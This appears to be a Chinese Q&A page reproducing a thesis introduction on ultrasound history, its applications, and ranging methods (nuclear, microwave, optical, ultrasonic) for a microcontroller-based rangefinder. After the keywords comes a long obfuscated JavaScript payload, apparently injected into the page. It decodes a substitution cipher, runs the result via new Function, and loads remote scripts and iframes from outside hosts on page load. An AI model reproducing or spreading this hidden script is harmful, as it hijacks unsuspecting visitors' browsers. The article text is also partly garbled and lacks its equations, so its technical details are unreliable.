推荐回答(2个)
超声波是指频率在20kHz以上的声波,它属于机械波的范畴。超声波也遵循一般机械波在弹性介质中的传播规律,如在介质的分界面处发生反射和折射现象,在进入介质后被介质吸收而发生衰减。它也有自已的特性,如它的频率可以非常高,达到兆赫级,因此,它在介质中传播时能量可以集中在很小的范围内,具有良好的成束性,也就是方向性好。
超声波的研究历史可以追溯到上个世纪。1883年,Galton首先发现了超声波的存在,他当时的研究目的主要是探索人类所能感知的声谱范围。在Galton之后的三十年中,超声波仍然是一个鲜为人知的东西,由于当时电子技术发展缓慢,对超声波的研究造成了一定程度的影响。因此,当压电效应和磁致现象被发现后并没有应用于制造有效的超声设备。在第一次世界大战中,对超声的研究逐步受到重视。由于战争的需要,法国人Langevin使用一种晶体传感器在水下发射和接收相对低频的超声波。他提出的这种方法可以用来检测水中是否存在潜艇并可以进行水下的通信联络。
在我国,超声学的研究开始于二十世纪五十年代,1959年至1964年间我国建立了分子声学实验室,对驰豫吸收、悬浮体的声吸收等问题进行了深入的研究,设计生产了固体中超声衰减的测量设备,对粘弹性和可压缩流体的声速和衰减的研究取得了令人兴奋的成果。同时在超声波探伤、加工、种子处理、显示、医疗等应用领域取得了可喜的成绩。表面波换能器的研究我国开始于1965年,于1970年开始了高频表面波的研究,1977年,我国研制成表面脉冲压缩滤波器。在80年代以后,我国的超声研究进入了一个全新的阶断,取得了一系列标志性成果,压电复合材料研制成功,窄脉冲短余振探头问世,PVDF高分子压电薄膜材料赶上并超过国际水平,高分子压电PVDF型换能器和超声显微镜的研究获得了实用,高频压电材料LiNb03研制成功。在应用方面,8超和A超医疗探头开始投入生产和医疗应用。超声显微镜投入应用。总的来说,我国在超声方面的研究在某些方面己走在了世界的前列。
近年来超声测试技术已明显表现出下列趋向:
1、由定性的判断缺陷的有无而发展为对缺陷的位置、大小、形状、性质进行定量判断,并且利用各种成像技术直接显示缺陷的二维、三维图像;
2、向在线自动检测和仪器的智能化发展,其中非接触超声测试技术取得突破进展;
3、超声测试技术和材料的物性评价相结合,材料的设计、加工和工程应用迅速发展。
1.2 超声应用领域
超声在许多领域内比可听声的用途更加广泛,是基于以下儿个原因:
1、具有方向性,超声波的频率越高,则方向性越强。在无损探伤、水下声纳系统、超声测距系统中方向性是一个重要的考虑因素。
2、超声波的频率越高,则波长越短,波长可以小到与超声传播媒介材料尺寸相比更小的程度。在高分辨率探伤、微小厚度测量、高精度Mail距中,这一点相当重要。
3、超声是不可听声,这样就避免产生噪声,因而超声具有绿色特性。
在工业生产中,超声波被应用在金属材料和部分非金属材料探伤,钡口厚,以及超声振动切削加工、清洗、焊接等行业。以及进行物位、浓度、硬度、温度等检测。
超声波被广泛应用于医学领域,在诊断显像技术,血流测量计,胎儿检查仪,超声波洁牙器等医疗器械都是利用了超声波的特性。
在军事领域中,超声波用于雷达目标定位,武器制导等方面。
1.3 几种测距方法介绍
除超声波测距外,目前被广泛使用的还有核辐射测距、微波测距、光学测距等,下面对这几种测距方法进行介绍。
1.3.1 核辐射法
不同物质对同位素射线的吸收能力不同,一般固体最强,液体次之,气体最差。当射线射入厚度为H的介质时,会有一部分被介质吸收掉。透过介质的射线强度I与入射强度Io之间有如下关系:
(2-1)
式中,m为吸收系数,条件固定时为常数。
上式可变为
(2-2)
因此,测液位可通过测量射线在穿过液体时强度的变化量来实现。
辐射式物位计既可进行连续测量,也可进行定点发送信号和进行控制。射线不受温度、压力、湿度、电磁场的影响,而且可以穿透各种介质,包括固体,因此能实现完全非接触测量。这些特点使得辐射式测距计适合于特殊场合或恶劣环境下的液位测量,如高温、高压、强腐蚀、剧毒、有爆炸性、易结晶、沸腾状态介质、高温熔融体等的液位测量。但在使用时仍要注意控制剂量,作好防护,以防射线泄漏对人体造成伤害。
1.3.2 微波测量法
在电磁波谱中将波长为1~ l000mm 的电磁波称为微波。微波的特点是在各种障碍物上都能产生良好的反射,具有良好的定向辐射性能;在传输过程中受到粉尘、烟雾、火焰及强光的影响小,具有很强的环境适应能力。
随着大规模集成电路技术和微处理技术的迅速发展,微波检测技术从长期停滞不前的原理性、实验性研究阶段,迅速进入工程实用和产业化阶段。有关厂商不断推出各种高性能的微波固体器件以及微波集成电路,不但使微波发射接受电路实现小型化,而且性能指标也有很大的提高,价格也有很大的下降。利用介质对微波的反射或吸收特性,微波检测技术在运动目标检测,目标物含水率检测,液位、料位检测等方面的应用愈来愈广泛。
调频物位测量计是由调频固态源产生等幅的无线电波,其振荡频率在时间上按调制信号呈周期性变化,设在某一瞬间频率为f0,由发射器射向测量对象,并由测量对象反射回来,经过接收器接收,输入混频器,在回波到达混频器的瞬间,固态源的振荡频率由于调制信号的作用,较回波频率己有了变化,设为f1,它继续不断地射向测量对象,并有一部分作为本振频率耦合到混频器与f1进行混频。这样,在混频器的输出端就产生了差频Δf,并且此差频与发射器和接收器离测量对象的距离L成正比,测量出Δf的大小也就可以计算得到距离L的数值。设调制信号波形为三角形,固态源初始频率为f0,则固态源频率变化规律为
(2-3)
式中,T为调制波周期, F为调制波频率,f0为固态源初始频率,f2为本振频率,Δf0为固态源调制信号1/2周期内的频偏范围,t为时间。回波频率为
(2-4)
式中,f1为回波频率,Δt为微波往返于被测对象之间的延迟时间,C为光速,L为被测距离,所以,差频频率Δf为
(2-5)
由上式整理得被测距离L为
(2-6)
从上式可以看出被测距离L与差频频率Δf成正比。当固态源的调制频率F和频偏Δf0一定时,只要测出Δf,就可以计算得到L。
当固态工作频偏Δf0=300MHz,调制频率F=1kHz时,代入式中可得
(2-7)
通过频率差计算出位置的变化。
1.3.3 光学测量法
激光用于液位测量,克服了普通光亮度差、方向性差、传输距离近、单色性差、易受干扰等缺点,使测量精度大为提高。
激光式液位检测仪由激光发射器、接收器及测量控制电路组成。工作方式有反射式和遮断式,在物位测量中两种方式都可使用,但一般只用作定点检测控制,不易进行连续测量。
1.3.4 超声测量法
超声波测距的基本原理是,由超声探头发出的超声脉冲信号,在空气中传播,遇到空气与物体的界面后被反射,接收到回波信号后能得到超声波传播时间。根据其传播速度和传播时间计算出其传播距离,得到传感器到物体的距离。即,
(2-8)
其中 D--测量距离(m)
C--超声波的传输速度(m/s)
1.4 超声波测距优越性
位移测量是工业中经常遇到的一个问题。针对不同用途和要求(从测量范围、精度要求、测量条件等考虑),位移测量有多种测量技术:有机械的浮子方法;利用电阻、电感、电容的非电量电测量方法;有光学或激光测量方法;有利用放射性或射流技术的测位方法等,在本设计中采用的是超声波测量技术。超声波测位移有很多优点,与放射性技术相比不需防护;与目前的激光测距相比,超声技术虽在精度上略逊一筹,但比较简单、价格低廉;更重要的是在恶劣环境下,激光测距将受到严重干扰,此时超声测量的高精度就会体现出来。一般来说,超声波位移测量无须有运动的部件,所以在安装和维护上占有很大的优越性。超声波位移测量可以选用气体、液体或固体作为传声媒介,具有很大的适应性,因此,在测量要求比较特殊,一般测量方法无法采用时,可考虑采用超声测位移
本文详细介绍了一种基于单片机的脉冲反射式超声测距系统。该系统是以空气中超声波的传播速度为确定条件,利用发射超声波与反射回波时间差来测量待测距离。本系统安装使用方便,价格便宜,并可与遥测遥控系统配合使用,有较广阔的应用前景。
超声测距系统的设计原理以达到更优的系统性能为目的。为适合不同的测距范围,单片机设置了远近两种发射模式,即近距离测量时使用8个脉冲串,远距离测量时使用32个脉冲串来增强回波信号,根据回波信号特点得到了最佳接收机的组成。
论文概述了超声波检测的发展及基本原理,介绍超声传感器的工作机理及特性,对于影响测距系统的一些主要参数进行了讨论。并且在介绍超声测距系统功能的基础上,提出了系统的总体构成。针对测距系统发射、接收、检测、显示部分的总体设计方案进行了论证。进一步介绍了凌阳16位单片机在系统中的应用,分析了系统各部分的硬件及软件实现。最后给出了室内实验结果及误差分析。
最后利用测距系统进行验证。实验表明,各主要波形及技术指标均达到设计要求。该系统对室内有限范围的距离测量具有较高的精度和可靠性,最后文中分析了误差产生的原因。
关键词:超声波,超声传感器,超声测距,单片机,温度补偿
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();